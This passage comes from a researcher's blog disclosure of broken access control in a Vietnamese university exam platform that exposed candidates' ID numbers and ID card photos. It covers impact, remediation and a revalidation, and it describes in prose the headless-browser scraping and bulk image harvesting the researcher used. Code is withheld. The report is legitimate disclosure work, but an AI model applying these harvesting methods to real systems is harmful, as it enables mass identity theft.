<h3 id="83-why-image-cdn-encoding-is-not-security">8.3. Why Image CDN Encoding Is Not Security</h3>

<p>The image CDN uses encoded URL paths (e.g., <code class="language-plaintext highlighter-rouge">kt3PG1hPTgTPG1MJ.u54.L8J...</code>), which superficially appears to provide security. However:</p>

<ul>
  <li>The encoding is performed by client-side JavaScript, which users fully control.</li>
  <li>Encoded URLs are embedded directly as CSS <code class="language-plaintext highlighter-rouge">background-image</code> attributes in the DOM, making them trivial to extract.</li>
  <li>Once extracted, these URLs require no cookies, tokens, or headers to download the images.</li>
  <li>Any headless browser can render a candidate’s page and automatically harvest all image URLs.</li>
</ul>

<h2 id="9-impact-assessment">9. Impact Assessment</h2>

<p>The data exposed in this vulnerability is not just abstract “PII.” For 896 real people, it represents everything needed to steal their identity. In Vietnam, CCCD photos are widely used for KYC (Know Your Customer) verification at banks, e-wallets like MoMo and ZaloPay, and telecom providers. A leaked CCCD photo is essentially a master key to someone’s financial life. What follows is an assessment of what this exposure means for the real students and professionals whose data was left wide open.</p>

<h3 id="91-affected-individuals">9.1. Affected Individuals</h3>

<ul>
  <li><strong>896 unique candidates</strong> confirmed from exams across 2024–2026.</li>
  <li>The database very likely contains candidates from <strong>all historical exam sessions</strong>, potentially numbering in the thousands.</li>
  <li><strong>All candidates</strong> have their full PII profiles and ID card photos accessible without authentication.</li>
</ul>

<h3 id="92-severity-id-card-photo-exposure">9.2. Severity: ID Card Photo Exposure</h3>

<p>The exposure of CCCD/CMND card photos is far more severe than text-based PII exposure:</p>

<ul>
  <li><strong>Biometric Data</strong>: Images contain the cardholder’s face, which can be used for facial recognition attacks.</li>
  <li><strong>Physical Card Replication</strong>: High-quality images of both front and back provide all information needed to create counterfeit ID cards.</li>
  <li><strong>KYC Bypass</strong>: Many financial services in Vietnam accept CCCD photos for KYC (Know Your Customer) verification - these images could be used to open fraudulent bank accounts or e-wallets.</li>
  <li><strong>Irreversibility</strong>: Unlike passwords or phone numbers, a CCCD number and its card images cannot be “changed” once exposed - the consequences are permanent.</li>
</ul>

<h3 id="93-risk-scenarios">9.3. Risk Scenarios</h3>

<ol>
  <li><strong>Large-Scale Identity Theft</strong>: CCCD numbers + Images + Full names + Dates of birth = a complete identity dossier for 896 individuals.</li>
  <li><strong>Financial Fraud</strong>: ID card photos can bypass KYC systems at banks, e-wallets (MoMo, ZaloPay, VNPay), and cryptocurrency exchanges.</li>
  <li><strong>SIM Swap Attacks</strong>: Phone numbers + ID card photos enable SIM swap attacks with mobile carriers, leading to account takeovers.</li>
  <li><strong>Deepfake Creation</strong>: Facial images extracted from CCCDs, combined with names and biographical information, enable AI-generated deepfake content for social engineering.</li>
  <li><strong>Targeted Phishing</strong>: A complete dossier (Name, Email, Phone, Workplace, Exam history) enables highly sophisticated and convincing spear-phishing campaigns.</li>
  <li><strong>Legal Violations &amp; Penalties</strong>: Under Vietnam’s Decree 13/2023/ND-CP on Personal Data Protection, the exposure of citizen identity information and biometric images constitutes a serious violation subject to sanctions.</li>
</ol>

<h3 id="94-severity-rating">9.4. Severity Rating</h3>

<table>
  <thead>
    <tr>
      <th>Factor</th>
      <th>Assessment</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Attack Complexity</td>
      <td>Low (Browser console + basic Python script)</td>
    </tr>
    <tr>
      <td>Authentication Required</td>
      <td>None</td>
    </tr>
    <tr>
      <td>Data Sensitivity</td>
      <td><strong>Extremely Critical</strong> (National ID + photos)</td>
    </tr>
    <tr>
      <td>Number of Affected Users</td>
      <td>896+ confirmed, potentially thousands</td>
    </tr>
    <tr>
      <td>Data Reversibility</td>
      <td><strong>Irreversible</strong> (Cannot change a CCCD)</td>
    </tr>
    <tr>
      <td>Exploitability</td>
      <td>Easy (No specialized tools required)</td>
    </tr>
    <tr>
      <td>Vendor Scope</td>
      <td>All clients sharing the Connections platform</td>
    </tr>
    <tr>
      <td><strong>Overall Assessment</strong></td>
      <td><strong>Critical (CVSS 9.1+)</strong></td>
    </tr>
  </tbody>
</table>

<h2 id="10-technical-challenges-and-solutions">10. Technical Challenges and Solutions</h2>

<h3 id="101-dynamic-content-rendering">10.1. Dynamic Content Rendering</h3>

<p>The website renders all data client-side using JavaScript. Standard HTTP requests (such as <code class="language-plaintext highlighter-rouge">curl</code> or Python’s <code class="language-plaintext highlighter-rouge">requests</code>) only retrieve the empty HTML skeleton.</p>

<p><strong>Solution</strong>: Used Playwright with a headless Chromium browser to execute the JavaScript framework, enabling both API calls and DOM extraction.</p>

<h3 id="102-vietnamese-source-code">10.2. Vietnamese Source Code</h3>

<p>The framework uses accented Vietnamese identifiers: <code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">dữLiệu</code>, <code class="language-plaintext highlighter-rouge">thuộcTính</code>, <code class="language-plaintext highlighter-rouge">đốiTượng</code>. While not intentional obfuscation, this requires Unicode-capable tools and makes pattern-matching significantly harder than standard JavaScript analysis.</p>

<h3 id="103-reference-field-resolution">10.3. Reference Field Resolution</h3>

<p>The Ethnicity and Place of Birth fields store opaque reference IDs (e.g., <code class="language-plaintext highlighter-rouge">{"ậ":["146992"]}</code>) instead of text. These references are <strong>only resolved during page rendering</strong> by the framework’s internal logic calling the APIs directly (<code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>, <code class="language-plaintext highlighter-rouge">thuộcTính.tải</code>) always returns <code class="language-plaintext highlighter-rouge">null</code> for these IDs.</p>

<p><strong>Solution</strong>: Render the full page for each candidate and extract the resolved text from the DOM (e.g., “4. Dân tộc: Kinh”). I cached these values to avoid redundant page renders.</p>

<h3 id="104-image-url-encoding">10.4. Image URL Encoding</h3>

<p>ID card photos are served from the image CDN with encoded URL paths that cannot be constructed from file IDs alone – the framework generates them at runtime.</p>

<p><strong>Solution</strong>: Render each candidate’s page, extract URLs from CSS <code class="language-plaintext highlighter-rouge">background-image</code> attributes on <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> elements pointing to <code class="language-plaintext highlighter-rouge">connections.vn</code>, then download images via HTTP GET.</p>

<h3 id="105-parallel-processing-and-thread-safety">10.5. Parallel Processing and Thread Safety</h3>

<p>Playwright’s synchronous API is not thread-safe across shared browser instances.</p>

<p><strong>Solution</strong>: Each worker thread launches its own Playwright browser instance, with 2 separate pages per browser (one for API calls, one for rendering). Workers are staggered by 3 seconds to avoid thundering herd effects during session establishment.</p>

<h3 id="106-network-resilience">10.6. Network Resilience</h3>

<p>University X’s server frequently experiences very slow page loads (sometimes exceeding 30 seconds).</p>

<p><strong>Solution</strong>: Used smart wait algorithms (polling DOM text instead of fixed timeouts), automatic session resets on failure, periodic CSV saving every 10 candidates, and Ctrl+C handling to save all collected data before interruption.</p>

<h2 id="11-recommendations">11. Recommendations</h2>

<h3 id="111-for-university-x-immediate-remediation">11.1. For University X (Immediate Remediation)</h3>

<ol>
  <li><strong>Vendor Security Audit</strong>: Require Company Y to conduct a comprehensive security assessment of the Connections platform.</li>
  <li><strong>Remove ID Card Photos</strong>: Delete all stored ID card images from the platform or migrate them to a storage system with strict access controls.</li>
  <li><strong>Add robots.txt / noindex</strong>: Prevent search engines from indexing candidate detail pages; request Google to remove currently cached pages.</li>
  <li><strong>Restrict PDF Access</strong>: Place candidate lists behind authentication or redact sensitive columns.</li>
  <li><strong>Evaluate Alternative Platforms</strong>: Consider migrating to a platform with proper access control capabilities.</li>
</ol>

<h3 id="112-for-company-y--connections-platform-urgent-remediation">11.2. For Company Y / Connections Platform (Urgent Remediation)</h3>

<ol>
  <li><strong>Implement API Authentication</strong>: All XHR endpoints must require a valid session token with role-based access control.</li>
  <li><strong>Add Field-Level Access Control</strong>: Sensitive fields (CCCD, Phone, File references) must be restricted to admin-level authenticated sessions only.</li>
  <li><strong>Secure Image CDN</strong>: Image URLs must require authentication tokens that are validated server-side, not relying solely on path encoding.</li>
  <li><strong>Server-Side Rendering for Sensitive Data</strong>: Move PII display logic to server-side processing; never send raw sensitive data to public-facing web page contexts.</li>
  <li><strong>Rate Limiting and Anomaly Detection</strong>: Implement IP-based query rate limits and alerting for bulk download patterns.</li>
  <li><strong>Platform-Wide Security Audit</strong>: The same vulnerabilities very likely affect all organizations using the Connections platform.</li>
</ol>

<h3 id="113-long-term-plan">11.3. Long-Term Plan</h3>

<ol>
  <li><strong>Compliance Review</strong>: Assess system compliance with Vietnam’s Decree 13/2023/ND-CP on Personal Data Protection.</li>
  <li><strong>Penetration Testing Program</strong>: Establish a regular security testing schedule for the system.</li>
  <li><strong>Data Minimization</strong>: Reconsider whether it is necessary to retain citizen ID card photos after the initial identity verification process is complete.</li>
  <li><strong>Incident Response</strong>: Notify affected candidates about the data exposure in accordance with legal requirements.</li>
</ol>

<h2 id="12-conclusion">12. Conclusion</h2>

<p>What started as a routine Google search ended with a disturbing discovery: an entire university’s exam candidates had their most sensitive personal data – including photos of their government-issued identity cards – exposed to the open internet. 896 people registered for a language proficiency exam, trusting that their information would be handled responsibly. Instead, their complete identity dossiers were accessible to anyone with a web browser.</p>

<p>The root cause is not a single bug or misconfiguration. It is a fundamental architectural failure: the software vendor built a system where the database has no lock on the door. The Connections platform treats every visitor, whether a student checking exam results or a stranger on the internet, as having full access to every record, every field, and every uploaded file. There is no authentication layer, no access control, no distinction between public and private data.</p>

<p>These findings deliver 3 critical lessons:</p>

<ol>
  <li><strong>Third-party vendor risk is real</strong>: Outsourcing your software does not outsource your responsibility. Any organization handing sensitive data to a SaaS platform must audit that platform’s security architecture, not just evaluate its features.</li>
  <li><strong>Client-side security is not security</strong>: If the only thing standing between an attacker and your database is JavaScript running in their own browser, you have no security at all. Access control must be enforced on the server.</li>
  <li><strong>Security through obscurity always fails</strong>: Encoded URLs, minified code, and hash-based IDs may slow down an attacker by minutes, but they can never substitute for real authentication.</li>
</ol>

<p>For 896 candidates, the damage is done. Their CCCD numbers, their identity card photos, their personal information – it is data that can never be taken back.</p>

<h2 id="13-revalidation-update--june-23-2026">13. Revalidation Update – June 23, 2026</h2>

<p>On June 23, 2026, I retested all attack vectors on <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. Company Y had updated the codebase that same day (version <code class="language-plaintext highlighter-rouge">14484523062026</code>). The results show meaningful progress but incomplete remediation.</p>

<h3 id="what-changed">What changed</h3>

<p>The most important fix is at the API gateway level: <strong>the XHR endpoints now enforce server-side authentication.</strong> Both <code class="language-plaintext highlighter-rouge">connections.universityx.vn/xhr/</code> and <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code> return HTTP 403 with <code class="language-plaintext highlighter-rouge">{"error":403,"code":"access_denied"}</code> for unauthenticated POST requests. This is the first time server-side access control has been observed on this platform.</p>

<p>Additionally:</p>

<ul>
  <li><strong>Account table (taiKhoan) access is blocked.</strong> The account-level IDOR documented in this report no longer works; all tested account IDs return null.</li>
  <li><strong>The b6x cipher has been removed.</strong> The monoalphabetic substitution layer that was added as a “fix” after my initial disclosure is gone entirely. Remaining data is returned in plaintext rather than wrapped in a broken cipher.</li>
</ul>

<h3 id="what-remains-vulnerable">What remains vulnerable</h3>

<p>Unlike the alumni platform documented in <a href="/blog/2026/06/13/en-universityx-inhouse-network-leaked-J0194R">Part 2</a>, the exam system still has gaps:</p>

<p><strong>Candidate data partially exposed.</strong> At least one candidate record (#1662402) still returns data via the API. The b6x wrapping is gone, but four fields remain in the raw response:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Date of birth</td>
      <td><code class="language-plaintext highlighter-rouge">10/12/1998</code></td>
      <td>STILL EXPOSED</td>
    </tr>
    <tr>
      <td>Gender</td>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td>STILL EXPOSED</td>
    </tr>
    <tr>
      <td>CCCD front image reference</td>
      <td><code class="language-plaintext highlighter-rouge">{"i":["4296"]}</code></td>
      <td>STILL EXPOSED</td>
    </tr>
    <tr>
      <td>CCCD back image reference</td>
      <td><code class="language-plaintext highlighter-rouge">{"i":["243"]}</code></td>
      <td>STILL EXPOSED</td>
    </tr>
    <tr>
      <td>Full name</td>
      <td>–</td>
      <td>REMOVED</td>
    </tr>
    <tr>
      <td>Phone number</td>
      <td>–</td>
      <td>REMOVED</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>–</td>
      <td>REMOVED</td>
    </tr>
    <tr>
      <td>CCCD number</td>
      <td>–</td>
      <td>REMOVED</td>
    </tr>
  </tbody>
</table>

<p>The most sensitive text fields (name, phone, email, CCCD number) have been scrubbed. But date of birth and image reference IDs persist.</p>

<p><strong>Bulk ID enumeration still works.</strong> The mass-load endpoint returns 50,403 candidate IDs. While most individual records appear empty or deleted, the enumeration itself should not be possible for unauthenticated users.</p>

<p><strong>CDN image access has regressed.</strong> The image CDN nodes at <code class="language-plaintext highlighter-rouge">i0.connections.vn</code> and <code class="language-plaintext highlighter-rouge">i3.connections.vn</code> are responding with HTTP 200 again. These were marked as fixed in the March 10 revalidation, meaning this is a regression, not a lingering issue. If image reference IDs from candidate records can still be resolved to CDN URLs, the ID card photos documented in this report may once again be downloadable.</p>

<h3 id="scorecard">Scorecard</h3>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>Tests</th>
      <th>Fixed</th>
      <th>Vulnerable</th>
      <th>Score</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>tec.universityx.vn (this report)</td>
      <td>13</td>
      <td>6</td>
      <td>5</td>
      <td><strong>46% fixed</strong></td>
    </tr>
    <tr>
      <td>connections.universityx.vn (Part 2)</td>
      <td>13</td>
      <td>11</td>
      <td>2</td>
      <td><strong>85% fixed</strong></td>
    </tr>
    <tr>
      <td>Previous (March 10, both)</td>
      <td>10</td>
      <td>3</td>
      <td>7</td>
      <td>30% fixed</td>
    </tr>
  </tbody>
</table>

<h3 id="assessment">Assessment</h3>

<p>The vendor has made real progress. The XHR authentication gate is the correct architectural fix, and the removal of the b6x cipher in favor of actually scrubbing sensitive fields is a better approach than obfuscation. The pattern is moving in the right direction.</p>

<p>But for this platform specifically, the job is not done. The CDN regression is concerning because it reverses a previously confirmed fix. The persistent candidate data, even partial, combined with image reference IDs, means the core finding of this report (ID card photo exposure) may not be fully resolved. And 50,403 enumerable candidate IDs represent a larger dataset than the 896 candidates I documented here, suggesting the exposure may have been broader than initially assessed.</p>

<p>The next step should be verifying whether the exposed image reference IDs can still be resolved to downloadable photos on the CDN. If they can, the most critical finding in this report remains exploitable despite four months of remediation efforts.</p>

<h2 id="appendix">Appendix</h2>

<h3 id="a-tools-used">A. Tools Used</h3>

<table>
  <thead>
    <tr>
      <th>Tool</th>
      <th>Version</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Python</td>
      <td>3.12</td>
      <td>Primary scripting runtime</td>
    </tr>
    <tr>
      <td>requests</td>
      <td>Latest</td>
      <td>HTTP protocol for downloading images and PDFs</td>
    </tr>
    <tr>
      <td>pdfplumber</td>
      <td>Latest</td>
      <td>Extracting data tables from PDFs</td>
    </tr>
    <tr>
      <td>Playwright</td>
      <td>Latest</td>
      <td>Headless browser (JS execution + DOM scraping)</td>
    </tr>
    <tr>
      <td>Chromium</td>
      <td>(Bundled)</td>
      <td>Browser engine for rendering pages</td>
    </tr>
  </tbody>
</table>

<h3 id="b-disclosure-timeline">B. Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th>Date / Time</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-02-25 13:00</td>
      <td>Vulnerability discovered via Google search indexing</td>
    </tr>
    <tr>
      <td>2026-02-25 15:30</td>
      <td>Framework reverse engineering complete; Database schema mapped</td>
    </tr>
    <tr>
      <td>2026-02-25 17:00</td>
      <td>API exploitation confirmed; CCCD data accessed</td>
    </tr>
    <tr>
      <td>2026-02-25 19:30</td>
      <td>Image CDN analyzed successfully; ID card photos downloaded</td>
    </tr>
    <tr>
      <td>2026-02-25 20:00</td>
      <td>Automation tool development started</td>
    </tr>
    <tr>
      <td>2026-02-25 21:00</td>
      <td>Phase 1 complete: 896 SBDs extracted from 32 PDFs</td>
    </tr>
    <tr>
      <td>2026-02-26 01:30</td>
      <td>Phase 2 started: Parallel API crawl (3 workers)</td>
    </tr>
    <tr>
      <td>2026-02-26 04:30</td>
      <td>Phase 2 complete: 896/896 records processed successfully</td>
    </tr>
    <tr>
      <td>2026-02-26 09:00</td>
      <td>Data merge complete: 2,449 images, 223 MB total</td>
    </tr>
    <tr>
      <td>2026-02-26 13:00</td>
      <td>Technical report finalized</td>
    </tr>
    <tr>
      <td>2026-03-24</td>
      <td>Report published</td>
    </tr>
    <tr>
      <td>2026-06-13</td>
      <td>Part 2 published</td>
    </tr>
    <tr>
      <td>2026-06-23</td>
      <td>Revalidation: 46% fixed on tec.universityx.vn, 85% on connections.universityx.vn</td>
    </tr>
  </tbody>
</table>

<h3 id="c-glossary">C. Glossary</h3>

<table>
  <thead>
    <tr>
      <th>Term</th>
      <th>Definition</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CCCD</td>
      <td>Căn cước công dân - Citizen Identity Card (new format)</td>
    </tr>
    <tr>
      <td>CMND</td>
      <td>Chứng minh nhân dân - People’s Identity Card (old format)</td>
    </tr>
    <tr>
      <td>University X</td>
      <td>Pseudonym for the affected university</td>
    </tr>
    <tr>
      <td>SBD</td>
      <td>Số báo danh - Exam Seat Number</td>
    </tr>
    <tr>
      <td>VSTEP</td>
      <td>Vietnamese Standardized Test of English Proficiency</td>
    </tr>
    <tr>
      <td>IDOR</td>
      <td>Insecure Direct Object Reference</td>
    </tr>
    <tr>
      <td>SaaS</td>
      <td>Software as a Service</td>
    </tr>
    <tr>
      <td>CDN</td>
      <td>Content Delivery Network (static files, images)</td>
    </tr>
    <tr>
      <td>PII</td>
      <td>Personally Identifiable Information</td>
    </tr>
    <tr>
      <td>KYC</td>
      <td>Know Your Customer (bank/wallet verification process)</td>
    </tr>
    <tr>
      <td>Company Y</td>
      <td>Pseudonym for the company that provides and operates the Connections platform</td>
    </tr>
  </tbody>
</table>

<h3 id="d-sample-data-records">D. Sample Data Records</h3>

<p>Below are two representative records extracted from the dataset, with actual personally identifiable information redacted:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">Sample</span><span class="w"> </span><span class="err">Record</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="err">(Redacted)</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"sbd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AN1***"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"28/09/2000"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nu"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"022XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"037XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[redacted]@gmail.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"don_vi"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"dan_toc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Kinh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"noi_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Tinh Bac Ninh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_front"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/AN1***_front.jpg"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/AN1***_back.jpg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">Sample</span><span class="w"> </span><span class="err">Record</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="err">(Redacted)</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"sbd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"TQ1***"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"03/07/2000"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nu"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"180XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"036XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"180XXXXXXXX@s.universityx.edu.vn"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"don_vi"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"dan_toc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Kinh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"noi_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_front"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/TQ1***_front.jpg"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/TQ1***_back.jpg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Notable observations:</strong></p>

<ul>
  <li>CCCD numbers are stored as plain text (with a leading apostrophe only for CSV formatting purposes).</li>
  <li>Image files are standard JPEG photographs of physical identity cards.</li>
  <li>The <code class="language-plaintext highlighter-rouge">don_vi</code> (workplace) field has a very low fill rate (15.1%), indicating most candidates are students who have not yet entered the workforce.</li>
</ul>

<h3 id="e-reproduction-steps">E. Reproduction Steps</h3>

<ol>
  <li><strong>Step 1</strong> Download publicly listed candidate PDFs from the static file CDN and parse the candidate tables to extract exam registration numbers (SBDs).</li>
  <li><strong>Step 2</strong> For each SBD, query the unauthenticated JavaScript API endpoints to retrieve full candidate records including CCCD numbers and personal details.</li>
  <li><strong>Step 3</strong> Resolve image reference fields from API responses into CDN image URLs, then download the associated ID card photos.</li>
  <li><strong>Step 4</strong> Merge PDF-extracted data and API-extracted data using SBD as the primary key to produce a complete dataset.</li>
</ol>

<blockquote>
  <p><strong>Note:</strong> Detailed reproduction code and tooling have been withheld from this public report to prevent misuse. Full technical details were shared with the affected parties during responsible disclosure.</p>
</blockquote>]]></content><author><name>PHAM Hoang Phi</name></author><category term="Security" /><category term="IDOR" /><category term="Broken Access Control" /><category term="API Abuse" /><category term="Data Exposure" /><category term="CVSS Critical" /><summary type="html"><![CDATA[This report documents a security research investigation into the web application of the Testing Center at University X. Through reverse engineering a Vietnamese JavaScript framework, I identified unauthenticated API endpoints and demonstrated the ability to extract personal data of 896 exam candidates including CCCD/CMND numbers and photos of their national ID cards.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://hoangphi01.github.io/assets/posts/CNMENU/1_public_on_the_internet.png" /><media:content medium="image" url="https://hoangphi01.github.io/assets/posts/CNMENU/1_public_on_the_internet.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry xml:lang="vn"><title type="html">Phát Hiện Lỗ Hổng Lộ Dữ Liệu CCCD Của 896 Thí Sinh Tại Một Trường Đại Học Việt Nam</title><link href="https://hoangphi01.github.io/blog/2026/03/24/vn-universityx-candidate-data-exposure-CNMENU/" rel="alternate" type="text/html" title="Phát Hiện Lỗ Hổng Lộ Dữ Liệu CCCD Của 896 Thí Sinh Tại Một Trường Đại Học Việt Nam" /><published>2026-03-24T00:00:00+00:00</published><updated>2026-03-24T00:00:00+00:00</updated><id>https://hoangphi01.github.io/blog/2026/03/24/vn-universityx-candidate-data-exposure-CNMENU</id><content type="html" xml:base="https://hoangphi01.github.io/blog/2026/03/24/vn-universityx-candidate-data-exposure-CNMENU/"><![CDATA[<div style="border: 2px solid #b8860b; border-radius: 24px; padding: 16px 24px; margin: 1.5em auto; max-width: 700px; background: #fdf8e8;">
  <p style="margin: 0; font-weight: bold; color: #b8860b;"><svg xmlns="http://www.w3.org/2000/svg" height="20px" viewBox="0 -960 960 960" width="20px" fill="#b8860b" style="vertical-align: text-bottom; margin-right: 4px;"><path d="m438-338 226-226-57-57-169 169-84-84-57 57 141 141Zm42 258q-139-35-229.5-159.5T160-516v-244l320-120 320 120v244q0 152-90.5 276.5T480-80Zm0-84q104-33 172-132t68-220v-189l-240-90-240 90v189q0 121 68 220t172 132Zm0-316Z" /></svg>Cập nhật (23 tháng 6, 2026): Đã khắc phục một phần</p>
  <p style="margin: 4px 0 0 0; font-size: 0.9em; color: #333;">Công ty Y đã thêm xác thực phía server trên cổng API XHR và chặn IDOR cấp tài khoản. Tuy nhiên, dữ liệu thí sinh vẫn bị lộ một phần, liệt kê ID hàng loạt vẫn hoạt động, và truy cập ảnh CDN đã bị hồi quy. <a href="#13-cập-nhật-kiểm-tra-lại--ngày-23-tháng-6-2026">Xem chi tiết kiểm tra lại bên dưới.</a></p>
</div>

<div style="background: linear-gradient(90deg, #2d8a2d 0%, #2d8a2d 1%, #c8c820 1%, #c8c820 39%, #e88a1a 39%, #e88a1a 69%, #cc2020 69%, #cc2020 89%, #991a1a 89%, #991a1a 100%); border-radius: 6px; padding: 4px; max-width: 600px; margin: 1.5em auto; position: relative;">
  <div style="display: flex; justify-content: space-between; padding: 0 4px;">
    <span style="color: white; font-size: 0.65em; font-weight: bold;">LOW</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">MEDIUM</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">HIGH</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">CRITICAL</span>
  </div>
</div>
<p style="text-align: center; font-weight: bold; font-size: 1.2em; color: #cc1a1a; margin-top: -0.5em;">CVSS 3.1: 9.1 (CRITICAL)</p>
<p style="text-align: center; font-size: 0.95em;">Lỗ hổng cho phép trích xuất dữ liệu định danh và sinh trắc học không cần xác thực.</p>

<h2 id="tóm-tắt">Tóm tắt</h2>

<p>Trường Đại học X là một trong những trường đại học công lập danh tiếng tại Việt Nam, với khoảng 40.000 sinh viên theo học ở nhiều khoa khác nhau. Trung tâm Khảo thí của trường tổ chức các kỳ thi năng lực ngoại ngữ chuẩn hóa cho hàng trăm thí sinh mỗi đợt. Khi đăng ký dự thi, thí sinh phải cung cấp những thông tin cá nhân vô cùng nhạy cảm: họ tên đầy đủ, ngày sinh, số điện thoại, email, số CCCD, và đặc biệt là ảnh chụp độ phân giải cao mặt trước và mặt sau của thẻ căn cước công dân. Nếu bị lộ, khối dữ liệu này tạo thành một bộ hồ sơ danh tính hoàn chỉnh – mà không giống như mật khẩu, nó không bao giờ có thể “đặt lại” được.</p>

<p>Mọi chuyện bắt đầu từ một tìm kiếm Google bình thường. Khi gõ các từ khóa liên quan đến kỳ thi, kết quả trả về một đường dẫn trực tiếp đến trang web Trung tâm Khảo thí. Chỉ cần nhấp chuột, toàn bộ hồ sơ đăng ký của một thí sinh hiện ra trên màn hình: họ tên, ngày sinh, số CCCD, và cả ảnh chụp thẻ căn cước – tất cả được hiển thị công khai trên một trang web không yêu cầu đăng nhập.</p>

<p>Không cần mật khẩu. Không cần công cụ đặc biệt. Chỉ cần một cú tìm kiếm Google và một cú nhấp chuột.</p>

<p>Thông qua việc dịch ngược framework JavaScript của nền tảng, tôi xác nhận rằng đây không phải sự cố đơn lẻ. Toàn bộ hệ thống, được xây dựng bởi Công ty Y trên nền tảng SaaS “Connections,” hoàn toàn không có bất kỳ cơ chế kiểm soát truy cập nào. Dữ liệu cá nhân của toàn bộ 896 thí sinh bao gồm số CCCD/CMND, dân tộc, nơi sinh, và <strong>ảnh chụp mặt trước và mặt sau của căn cước công dân</strong> đều có thể bị trích xuất một cách có hệ thống bởi bất kỳ ai có trình duyệt web.</p>

<h2 id="1-giới-thiệu">1. Giới thiệu</h2>

<h3 id="11-bối-cảnh">1.1. Bối cảnh</h3>

<p>Trường Đại học X là một trong những trường đại học công lập có tiếng tại Việt Nam, với khoảng 40.000 sinh viên theo học ở nhiều khoa. Trường đặc biệt được biết đến với các chương trình đào tạo ngoại ngữ và nghiên cứu quốc tế. Trung tâm Khảo thí của trường vận hành hệ thống web tại <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>, nơi tổ chức các kỳ thi năng lực ngoại ngữ chuẩn hóa như VSTEP (Vietnamese Standardized Test of English Proficiency) cho hàng trăm thí sinh mỗi đợt. Hệ thống quản lý toàn bộ vòng đời thi cử: đăng ký dự thi, phân phòng thi, công bố danh sách thí sinh, và thông báo kết quả.</p>

